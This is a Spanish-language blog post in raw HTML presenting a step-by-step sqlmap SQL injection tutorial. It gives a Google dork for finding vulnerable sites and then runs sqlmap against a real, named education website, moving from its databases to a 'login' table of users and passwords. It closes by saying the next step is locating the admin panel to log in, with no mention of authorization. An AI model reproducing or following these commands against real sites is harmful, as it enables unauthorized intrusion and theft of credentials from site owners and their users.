MilenioCinco: tutorial

<h1 class="post-title entry-title" style="background-color: white; border-bottom-color: rgb(237, 237, 237); border-bottom-style: solid; border-bottom-width: 1px; box-sizing: border-box; font-family: 'Open Sans', Arial, sans-serif; font-size: 16px; margin: 20px 0px; text-align: center; text-transform: uppercase;">
<span style="color: #0b5394;">TUTORIAL DE SQL INJECTION CON SQLMAP</span></h1>
<div>
<span style="color: #0b5394;"><br /></span></div>
<center style="background-color: white; box-sizing: border-box; color: #333333; font-family: Verdana, Geneva, sans-serif; font-size: 12px; line-height: 18px;">
</center>
<span id="808743901817269788" style="background-color: white; box-sizing: border-box; color: #333333; font-family: Verdana, Geneva, sans-serif; font-size: 12px; line-height: 18px;">Bueno les dije que haría un pequeño tutorial de SQL Injection usando sqlmap.</span><br />
<ul style="box-sizing: border-box; line-height: 1.2; list-style-image: url(http://i.imgur.com/9iMkSCo.png); margin: 0px; padding: 0px;">
<li style="box-sizing: border-box; padding: 0px;">Herramientas: </li>
<li style="box-sizing: border-box; padding: 0px;">sqlmap (<a href="http://adf.ly/sB5ba" rel="nofollow" target="_blank">Download</a>) </li>
<li style="box-sizing: border-box; padding: 0px;">linux </li>
</ul>
<span style="background-color: white; box-sizing: border-box;"><br style="box-sizing: border-box;" /><span style="color: #333333; font-family: Verdana, Geneva, sans-serif; font-size: 12px; line-height: 18px;">Para este tutorial yo uso Ubuntu 12.04.</span></span><br />
<div style="color: #333333; font-family: Verdana, Geneva, sans-serif; font-size: 12px; line-height: 18px; text-align: justify;">
Para poder ejecutar sqlmap necesitan tener instalado python, ya que es un script en este lenguaje.</div>
<div style="text-align: justify;">
<span style="color: #333333; font-family: Verdana, Geneva, sans-serif; font-size: 12px; line-height: 18px;"><br /></span></div>
<span style="color: #333333; font-family: Verdana, Geneva, sans-serif; font-size: 12px; line-height: 18px;"></span><br />
<div style="text-align: justify;">
<span style="color: #333333; font-family: Verdana, Geneva, sans-serif; font-size: 12px; line-height: 18px;">Antes de empezar recordemos que es SQL Injection, Wikipedia nos dice lo siguiente:</span></div>
<span style="color: #333333; font-family: Verdana, Geneva, sans-serif; font-size: 12px; line-height: 18px;">
</span><br />
<div style="text-align: justify;">
<br /></div>
<span style="color: #333333; font-family: Verdana, Geneva, sans-serif; font-size: 12px; line-height: 18px;"></span><br />
<div style="text-align: justify;">
<span style="color: #333333; font-family: Verdana, Geneva, sans-serif; font-size: 12px; line-height: 18px;">Inyección SQL es un método de infiltración de código intruso que se vale de una <a href="http://es.wikipedia.org/wiki/Error_de_software" style="box-sizing: border-box; color: #0297ec; text-decoration: none;">vulnerabilidad informática</a> presente en una aplicación en el nivel de validación de las entradas para realizar consultas a una<a href="http://es.wikipedia.org/wiki/Base_de_datos" style="box-sizing: border-box; color: #0297ec; text-decoration: none;">base de datos</a>.</span></div>
<span style="color: #333333; font-family: Verdana, Geneva, sans-serif; font-size: 12px; line-height: 18px;">
</span><br />
<div style="text-align: justify;">
<br /></div>
<span style="color: #333333; font-family: Verdana, Geneva, sans-serif; font-size: 12px; line-height: 18px;"></span><br />
<div style="text-align: justify;">
<span style="color: #333333; font-family: Verdana, Geneva, sans-serif; font-size: 12px; line-height: 18px;">El origen de la vulnerabilidad radica en el incorrecto chequeo y/o filtrado de las variables utilizadas en un programa que contiene, o bien genera, código <a href="http://es.wikipedia.org/wiki/SQL" style="box-sizing: border-box; color: #0297ec; text-decoration: none;">SQL</a>. Es, de hecho, un error de una clase más general de vulnerabilidades que puede ocurrir en cualquier <a href="http://es.wikipedia.org/wiki/Lenguaje_de_programaci%C3%B3n" style="box-sizing: border-box; color: #0297ec; text-decoration: none;">lenguaje de programación</a> o <a href="http://es.wikipedia.org/wiki/Lenguaje_interpretado" style="box-sizing: border-box; color: #0297ec; text-decoration: none;">script</a> que esté embebido dentro de otro.</span></div>
<span style="color: #333333; font-family: Verdana, Geneva, sans-serif; font-size: 12px; line-height: 18px;">
</span><br />
<div style="text-align: justify;">
<br /></div>
<span style="color: #333333; font-family: Verdana, Geneva, sans-serif; font-size: 12px; line-height: 18px;"></span><br />
<div style="text-align: justify;">
<span style="color: #333333; font-family: Verdana, Geneva, sans-serif; font-size: 12px; line-height: 18px;">Se conoce como Inyección SQL, indistintamente, al tipo de vulnerabilidad, al método de infiltración, al hecho de incrustar código SQL intruso y a la porción de código incrustado.</span></div>
<span style="color: #333333; font-family: Verdana, Geneva, sans-serif; font-size: 12px; line-height: 18px;">
</span><br />
<div style="text-align: justify;">
<br /></div>
<span style="color: #333333; font-family: Verdana, Geneva, sans-serif; font-size: 12px; line-height: 18px;"></span><br />
<div style="text-align: justify;">
<span style="color: #333333; font-family: Verdana, Geneva, sans-serif; font-size: 12px; line-height: 18px;">Exiten diferentes tipos de inyeccion sql nosotros ahorita veremos la mas basica y sencilla de todas.</span></div>
<span style="color: #333333; font-family: Verdana, Geneva, sans-serif; font-size: 12px; line-height: 18px;">
</span><br />
<span style="color: #333333; font-family: Verdana, Geneva, sans-serif; line-height: 18px;"><span style="font-size: large;">Buscando un sitio vulnerable</span></span><br />
<br style="box-sizing: border-box;" />
<div style="text-align: justify;">
<span style="color: #333333; font-family: Verdana, Geneva, sans-serif; font-size: 12px; line-height: 18px;">Para encontrar un sitio vulnerable podemos usar algunos dorks de google, por ejemplo el siguiente:</span></div>
<div style="text-align: justify;">
<br /></div>
<span style="color: #333333; font-family: Verdana, Geneva, sans-serif; font-size: 12px; line-height: 18px;"></span><br />
<div style="text-align: justify;">
<span style="color: #333333; font-family: Verdana, Geneva, sans-serif; font-size: 12px; line-height: 18px;">inurl=.php?id= </span></div>
<span style="color: #333333; font-family: Verdana, Geneva, sans-serif; font-size: 12px; line-height: 18px;">
</span><br />
<div style="text-align: justify;">
<br /></div>
<span style="color: #333333; font-family: Verdana, Geneva, sans-serif; font-size: 12px; line-height: 18px;"></span><br />
<div style="text-align: justify;">
<span style="color: #333333; font-family: Verdana, Geneva, sans-serif; font-size: 12px; line-height: 18px;">O testear sitios que ya conocemos, indistintamente de si son programados en .NET o en PHP.</span></div>
<span style="color: #333333; font-family: Verdana, Geneva, sans-serif; font-size: 12px; line-height: 18px;">
</span><br />
<div style="text-align: justify;">
<br /></div>
<span style="color: #333333; font-family: Verdana, Geneva, sans-serif; font-size: 12px; line-height: 18px;"></span><br />
<div style="text-align: justify;">
<span style="color: #333333; font-family: Verdana, Geneva, sans-serif; font-size: 12px; line-height: 18px;">Para saber si es vulnerable debemos generar un error en la aplicacion web para ver si maneja correctamente los valores de la variable que se le dan, por ejemplo agregar una simple ' en la url después del signo '=' es una forma de tratar de generar un error.</span></div>
<span style="color: #333333; font-family: Verdana, Geneva, sans-serif; font-size: 12px; line-height: 18px;">
</span><br />
<div style="text-align: justify;">
<br /></div>
<span style="color: #333333; font-family: Verdana, Geneva, sans-serif; font-size: 12px; line-height: 18px;">Por ejemplo si la url es:</span><br />
<br style="box-sizing: border-box;" />
<span style="color: #333333; font-family: Verdana, Geneva, sans-serif; font-size: 12px; line-height: 18px;">http://www.educacionit.com.ar/reenviar.php?id=123</span><br />
<br style="box-sizing: border-box;" />
<span style="color: #333333; font-family: Verdana, Geneva, sans-serif; font-size: 12px; line-height: 18px;">Le agregamos la ':</span><br />
<br style="box-sizing: border-box;" />
<span style="color: #333333; font-family: Verdana, Geneva, sans-serif; font-size: 12px; line-height: 18px;">http://www.educacionit.com.ar/reenviar.php?id='</span><br />
<br style="box-sizing: border-box;" />
<span style="color: #333333; font-family: Verdana, Geneva, sans-serif; font-size: 12px; line-height: 18px;">Se puede hacer sin borrar el numero pero yo siempre lo hago.</span><br />
<br style="box-sizing: border-box;" />
<span style="color: #333333; font-family: Verdana, Geneva, sans-serif; font-size: 12px; line-height: 18px;">A continuación nos saldrá un error como este:</span><br />
<br />
<div style="background-color: white; box-sizing: border-box; color: #333333; font-family: 'Helvetica Neue Light', HelveticaNeue-Light, 'Helvetica Neue', Helvetica, Arial, sans-serif; line-height: 19px; margin: 0px; outline: none; padding: 0px; text-align: justify;">
<br style="box-sizing: border-box;" />
<div class="separator" style="box-sizing: border-box; clear: both; font-size: 14px; margin: 0px; outline: none; padding: 0px; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEioPft-M4yg7e0xCqGWfpz2isi_dxpqfZ5GTogYu5WmB_4KoEbOJw9oHFup5eFepLr7OAE3rf18zssxQ-N1UcPHVXD4smZ5jwAb1eEVhJppenAPMBGjYXYpRo-2RZW8Xplv55SoSH-a3hs/s1600/sqli" imageanchor="1" style="-webkit-transition: color 0.3s; box-sizing: border-box; clear: left; color: #009eb8; display: inline; float: left; margin-bottom: 1em; margin-right: 1em; outline: none; text-decoration: none; transition: color 0.3s;"><img alt="Error de SQL" border="0" height="130" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEioPft-M4yg7e0xCqGWfpz2isi_dxpqfZ5GTogYu5WmB_4KoEbOJw9oHFup5eFepLr7OAE3rf18zssxQ-N1UcPHVXD4smZ5jwAb1eEVhJppenAPMBGjYXYpRo-2RZW8Xplv55SoSH-a3hs/s640/sqli" style="-webkit-transition: all 0.4s ease-in-out; border-width: 0px; box-sizing: border-box; height: auto; max-width: 100%; transition: all 0.4s ease-in-out;" title="Error de SQL" width="640" /></a></div>
<br style="box-sizing: border-box;" />
<br style="box-sizing: border-box;" />
<div class="separator" style="box-sizing: border-box; clear: both; font-size: 14px; margin: 0px; outline: none; padding: 0px; text-align: center;">
</div>
<br style="box-sizing: border-box;" />
<b style="box-sizing: border-box;"><span style="font-size: large;">Que empiece el hackeo!</span></b><br />
<br style="box-sizing: border-box;" />
<span style="font-size: 14px;">Ahora vamos a nuestra shell y ubicamos la carpeta donde tengamos sqlmap y lo ejecutamos, en mi caso seria: </span><br />
<ol style="box-sizing: border-box; font-size: 14px;">
<li style="box-sizing: border-box; padding: 0px;">cd Documentos </li>
<li style="box-sizing: border-box; padding: 0px;">cd sqlmap </li>
<li style="box-sizing: border-box; padding: 0px;">python sqlmap.py </li>
</ol>
<br style="box-sizing: border-box;" />
<span style="font-size: 14px;">Ahora nos aparecerá algo como esto:</span><br />
<br style="box-sizing: border-box;" />
<div class="separator" style="box-sizing: border-box; clear: both; font-size: 14px; margin: 0px; outline: none; padding: 0px; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjNm0eplJr0bM5yaj1IjWEfIordG0mGzXtVZ_Pnas_3c3599v-EpP72-gcx3sikM20h2xgOdYFocr1uI6dJdVh8D2f3Kr0nQch0yP6qY8agwYWhGDPG-GvZQ2iWj-bKKqloHimA5zzSrxs/s1600/sqlmap1.png" imageanchor="1" style="-webkit-transition: color 0.3s; box-sizing: border-box; color: #009eb8; display: inline; margin-left: 1em; margin-right: 1em; outline: none; text-decoration: none; transition: color 0.3s;"><img alt="sqlmap en ubuntu" border="0" height="404" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjNm0eplJr0bM5yaj1IjWEfIordG0mGzXtVZ_Pnas_3c3599v-EpP72-gcx3sikM20h2xgOdYFocr1uI6dJdVh8D2f3Kr0nQch0yP6qY8agwYWhGDPG-GvZQ2iWj-bKKqloHimA5zzSrxs/s640/sqlmap1.png" style="-webkit-transition: all 0.4s ease-in-out; border-width: 0px; box-sizing: border-box; height: auto; max-width: 100%; transition: all 0.4s ease-in-out;" title="sqlmap en ubuntu" width="640" /></a></div>
<br style="box-sizing: border-box;" />
<br style="box-sizing: border-box;" />
<span style="font-size: 14px;">Si te salio esto quiere decir que vas bien.</span><br />
<br style="box-sizing: border-box;" />
<span style="font-size: 14px;">Ahora explicando un poco las variables que se usan:</span><br />
<br style="box-sizing: border-box;" />
<ul style="box-sizing: border-box; font-size: 14px; line-height: 1.2; list-style-image: url(http://i.imgur.com/9iMkSCo.png); margin: 0px; padding: 0px;">
<li style="box-sizing: border-box; padding: 0px;">-u [URL a la que se le hará la inyección] (URL Correcta)</li>
<li style="box-sizing: border-box; padding: 0px;">-p [Parámetro de la url que inyectaremos]</li>
<li style="box-sizing: border-box; padding: 0px;">--dbs [Mostrara todas las bases de datos de la pagina]</li>
<li style="box-sizing: border-box; padding: 0px;">-D [Seteas el nombre de la base de datos a la que harás la consulta]</li>
<li style="box-sizing: border-box; padding: 0px;">--tables [Mostrara todas las tablas de la Base de datos seleccionada]</li>
<li style="box-sizing: border-box; padding: 0px;">-T [Conexión a una tabla especifica]</li>
<li style="box-sizing: border-box; padding: 0px;">--columns [Mostrara los nombre de las columnas de la tabla seleccionada]</li>
<li style="box-sizing: border-box; padding: 0px;">--dump [Hace un volcado de datos de ficheros .csv de la tabla seleccionada (Mostrara la información de las tablas)]</li>
<li style="box-sizing: border-box; padding: 0px;">--dbms [Con este parámetro podemos seleccionar el motor de base de datos que usa para hacer las pruebas de errores sobre un motor de base de datos especifico, ej. SQL, MySQL, ORACLE]</li>
</ul>
</div>
<div style="background-color: white; box-sizing: border-box; color: #333333; font-family: 'Helvetica Neue Light', HelveticaNeue-Light, 'Helvetica Neue', Helvetica, Arial, sans-serif; font-size: 14px; line-height: 19px; margin: 0px; outline: none; padding: 0px; text-align: justify;">
<br style="box-sizing: border-box;" />
Si quieren ver los otros parametros revisen la documentacion de sqlmap, por lo pronto empezaremos ya escribiendo esto:<br />
<br style="box-sizing: border-box;" />
./sqlmap.py -u "http://www.educacionit.com.ar/reenviar.php?id=123" --dbs --dbms=mysql<br />
<br style="box-sizing: border-box;" />
<b style="box-sizing: border-box;">Nos dará como resultado esto</b>:<br />
<div style="box-sizing: border-box; margin: 0px; outline: none; padding: 0px;">
<br style="box-sizing: border-box;" /></div>
<table cellpadding="0" cellspacing="0" class="tr-caption-container" style="box-sizing: border-box; float: left; margin-right: 1em; padding: 4px;"><tbody style="box-sizing: border-box;">
<tr style="box-sizing: border-box;"><td style="box-sizing: border-box; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhkc128W4DMHYM_wD1NI39wPLKDPAK7CWgO_xUuFkASQyZ9-jAM7kMQX1zFm9qGSieL6VAVCa7VPMopKV7Q46gX2OmzkSV0OejnGIRE93oNT0aDLiB0cantgpttHPl2wiSp9tf1pGY-FbQ/s1600/sqlmap3.png" imageanchor="1" style="-webkit-transition: color 0.3s; box-sizing: border-box; clear: left; color: #009eb8; display: inline; margin-bottom: 1em; margin-left: auto; margin-right: auto; outline: none; text-decoration: none; transition: color 0.3s;"><img alt="sqlmap en ubuntu" border="0" height="494" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhkc128W4DMHYM_wD1NI39wPLKDPAK7CWgO_xUuFkASQyZ9-jAM7kMQX1zFm9qGSieL6VAVCa7VPMopKV7Q46gX2OmzkSV0OejnGIRE93oNT0aDLiB0cantgpttHPl2wiSp9tf1pGY-FbQ/s640/sqlmap3.png" style="-webkit-transition: all 0.4s ease-in-out; border: none; box-sizing: border-box; height: auto; max-width: 100%; padding: 0px; transition: all 0.4s ease-in-out;" title="sqlmap en ubuntu" width="640" /></a></td></tr>
<tr style="box-sizing: border-box;"><td class="tr-caption" style="box-sizing: border-box; font-size: 11px; text-align: center;"><br style="box-sizing: border-box;" /></td></tr>
</tbody></table>
<div style="box-sizing: border-box; margin: 0px; outline: none; padding: 0px;">
<br style="box-sizing: border-box;" /></div>
<div style="box-sizing: border-box; margin: 0px; outline: none; padding: 0px;">
<br style="box-sizing: border-box;" /></div>
<br style="box-sizing: border-box;" />
<br style="box-sizing: border-box;" />
<br style="box-sizing: border-box;" />
Como ven aquí nos muestra que el parámetro 'id' efectivamente si es inyectable y ademas nos pregunta que si queremos seguir haciendo mas pruebas, le decimos que no escribiendo 'n' y mostrara lo siguiente:<br />
<div class="separator" style="box-sizing: border-box; clear: both; margin: 0px; outline: none; padding: 0px; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi1eT4yAkWRAXSMmIfR1YbmZVN7MaMj81HAk6ZYW115VIbwfvs6_vTQYe6RYy3_rfD3uO04Sq0z6hazEP-rKQJ8d6ED7XMRJGcH9e79MsNoPAWHO8i6zLKG_Rsosnkd1PQwD6k7DrMCGxY/s1600/sqlmap4.png" imageanchor="1" style="-webkit-transition: color 0.3s; box-sizing: border-box; clear: left; color: #009eb8; display: inline; float: left; margin-bottom: 1em; margin-right: 1em; outline: none; text-decoration: none; transition: color 0.3s;"><img alt="Tutorial de sqlmap" border="0" height="494" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi1eT4yAkWRAXSMmIfR1YbmZVN7MaMj81HAk6ZYW115VIbwfvs6_vTQYe6RYy3_rfD3uO04Sq0z6hazEP-rKQJ8d6ED7XMRJGcH9e79MsNoPAWHO8i6zLKG_Rsosnkd1PQwD6k7DrMCGxY/s640/sqlmap4.png" style="-webkit-transition: all 0.4s ease-in-out; border-width: 0px; box-sizing: border-box; height: auto; max-width: 100%; transition: all 0.4s ease-in-out;" title="Tutorial de sqlmap" width="640" /></a></div>
<br style="box-sizing: border-box;" />
Y nos muestra dos bases de datos:<br />
<ol style="box-sizing: border-box;">
<li style="box-sizing: border-box; padding: 0px;">Information_schema [Todos los motores de SQL la traen, asi que la ignoraremos] </li>
<li style="box-sizing: border-box; padding: 0px;">sebadivi_educacionit </li>
</ol>
<br style="box-sizing: border-box;" />
Para ver que tiene la base de datos de 'sebadivi_educacionit', haremos lo siguiente:<br />
./sqlmap.py -u "http://www.educacionit.com.ar/reenviar.php?id=123" -D sebadivi_educacionit --tables<br />
<br style="box-sizing: border-box;" />
<b style="box-sizing: border-box;">Al finalizar el escaneo mostrara esto:</b><br />
<div class="separator" style="box-sizing: border-box; clear: both; margin: 0px; outline: none; padding: 0px; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhSH1b2IihMhyQGaGDAacWVaM75bfNfF83abEZNdRa73sG2IliBSfDR0NM80ouJx-LSjxETXyT12m5wnjeifx63Ilrk9I7dD4KQDNNUuO-NXuMEB_gH2ZomV6LkY7QH9NwDE7m2j8bz1Mk/s1600/sqlmap5.png" imageanchor="1" style="-webkit-transition: color 0.3s; box-sizing: border-box; clear: left; color: #009eb8; display: inline; float: left; margin-bottom: 1em; margin-right: 1em; outline: none; text-decoration: none; transition: color 0.3s;"><img alt="Tutorial de sqlmap" border="0" height="384" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhSH1b2IihMhyQGaGDAacWVaM75bfNfF83abEZNdRa73sG2IliBSfDR0NM80ouJx-LSjxETXyT12m5wnjeifx63Ilrk9I7dD4KQDNNUuO-NXuMEB_gH2ZomV6LkY7QH9NwDE7m2j8bz1Mk/s640/sqlmap5.png" style="-webkit-transition: all 0.4s ease-in-out; border-width: 0px; box-sizing: border-box; height: auto; max-width: 100%; transition: all 0.4s ease-in-out;" title="Tutorial de sqlmap" width="640" /></a></div>
<br style="box-sizing: border-box;" />
<br style="box-sizing: border-box;" />
<br style="box-sizing: border-box;" />
Y asi como parece, esas son las tablas de la base de datos, vamos a explorarlas, por ejemplo la que dice 'login'.<br />
<br style="box-sizing: border-box;" />
./sqlmap.py -u "http://www.educacionit.com.ar/reenviar.php?id=123" -D sebadivi_educacionit -T login --columns<br />
<br style="box-sizing: border-box;" />
Como ven nos muestra 4 columnas:<br />
<div class="separator" style="box-sizing: border-box; clear: both; margin: 0px; outline: none; padding: 0px; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjE6m3RHK27KzNJCTeQqgVHJCTU0hGxBKDnCAQDsu68HxcFi2TH7bBAgBtGykhaGvRY2Kt5_x4OH-VbRmdHz5BrBgD-6sW-RalvWhULap8FwV0QOHkFKnraDeUxo7d0hyphenhyphen4P3xjWOCcrhmY/s1600/sqlmap6.png" imageanchor="1" style="-webkit-transition: color 0.3s; box-sizing: border-box; color: #009eb8; display: inline; margin-left: 1em; margin-right: 1em; outline: none; text-decoration: none; transition: color 0.3s;"><img border="0" height="494" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjE6m3RHK27KzNJCTeQqgVHJCTU0hGxBKDnCAQDsu68HxcFi2TH7bBAgBtGykhaGvRY2Kt5_x4OH-VbRmdHz5BrBgD-6sW-RalvWhULap8FwV0QOHkFKnraDeUxo7d0hyphenhyphen4P3xjWOCcrhmY/s640/sqlmap6.png" style="-webkit-transition: all 0.4s ease-in-out; border-width: 0px; box-sizing: border-box; height: auto; max-width: 100%; transition: all 0.4s ease-in-out;" width="640" /></a></div>
<br style="box-sizing: border-box;" />
<ol style="box-sizing: border-box;">
<li style="box-sizing: border-box; padding: 0px;">pagina </li>
<li style="box-sizing: border-box; padding: 0px;">pass </li>
<li style="box-sizing: border-box; padding: 0px;">permisos </li>
<li style="box-sizing: border-box; padding: 0px;">user </li>
</ol>
<br style="box-sizing: border-box;" />
Y sus tipos de datos que son, en este caso todos son varchar de diferentes longitudes, veamos los registros.<br />
<div style="box-sizing: border-box; margin: 0px; outline: none; padding: 0px;">
<br style="box-sizing: border-box;" /></div>
<div class="separator" style="box-sizing: border-box; clear: both; margin: 0px; outline: none; padding: 0px; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj40z9dkwne4Vi6_Yyh0OBf7AoODVJrkmU8Pcaq5qTodds3eARF6BxUrPt6fdgmQlpjO7fjDf20SmvdRg5IrKwE3vDDXA9ZTfg5ABqW49EsKfz3YM7wsCsWt7N1LDvwg6Iy6gFar8NSg74/s1600/sqlmap7.png" imageanchor="1" style="-webkit-transition: color 0.3s; box-sizing: border-box; clear: left; color: #009eb8; display: inline; float: left; margin-bottom: 1em; margin-right: 1em; outline: none; text-decoration: none; transition: color 0.3s;"><img alt="Tutorial de sqlmap" border="0" height="494" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj40z9dkwne4Vi6_Yyh0OBf7AoODVJrkmU8Pcaq5qTodds3eARF6BxUrPt6fdgmQlpjO7fjDf20SmvdRg5IrKwE3vDDXA9ZTfg5ABqW49EsKfz3YM7wsCsWt7N1LDvwg6Iy6gFar8NSg74/s640/sqlmap7.png" style="-webkit-transition: all 0.4s ease-in-out; border-width: 0px; box-sizing: border-box; height: auto; max-width: 100%; transition: all 0.4s ease-in-out;" title="Tutorial de sqlmap" width="640" /></a></div>
<div style="box-sizing: border-box; margin: 0px; outline: none; padding: 0px;">
<br style="box-sizing: border-box;" /></div>
<br style="box-sizing: border-box;" />
<br style="box-sizing: border-box;" />
<br style="box-sizing: border-box;" />
Y ahí lo tenemos usuarios y contraseñas del sitio, lo siguiente es buscar el panel de administración. Para poder conectarse al sitio.<br />
<br style="box-sizing: border-box;" /></div>
<center style="background-color: white; box-sizing: border-box; color: #333333; font-family: Verdana, Geneva, sans-serif; font-size: 12px; line-height: 18px;">
</center>
<span style="background-color: white; box-sizing: border-box; color: #333333; font-family: Verdana, Geneva, sans-serif; font-size: 12px; line-height: 18px;"></span><span style="background-color: white; color: #333333; font-family: Verdana, Geneva, sans-serif; font-size: 12px; line-height: 18px;"></span><br style="background-color: white; box-sizing: border-box; color: #333333; font-family: Verdana, Geneva, sans-serif; font-size: 12px; line-height: 18px;" />
<center style="box-sizing: border-box; text-align: justify;">
<span style="font-size: large;"><b>si te gusto esta informacion ayudanos a difundirla en los botones de la parte de abajo para redes sociales muchas por leer el post de MilenioCinco un saludo :D</b></span></center>
<span style="font-size: large;"><b><span style="background-color: white; box-sizing: border-box; color: #333333; font-family: Verdana, Geneva, sans-serif; line-height: 18px;"></span><span style="background-color: white; color: #333333; font-family: Verdana, Geneva, sans-serif; line-height: 18px;"></span></b></span><br />
<div class="post-footer" style="background: rgb(251, 251, 251); border: 1px solid rgb(221, 221, 221); box-sizing: border-box; color: #999999; font-family: Verdana, Geneva, sans-serif; line-height: 1.4em; margin: 70px 0px 0px; overflow: hidden; padding: 10px; text-align: justify;">
</div>

TUTORIAL DE SQL INJECTION CON SQLMAP Bueno les dije que haría un pequeño tutorial de SQL Injection usando sqlmap. Herramientas: sq...

MilenioCinco

Fan Por Fan

TUTORIAL DE SQL INJECTION CON SQLMAP

Entradas populares

Archivo del Blog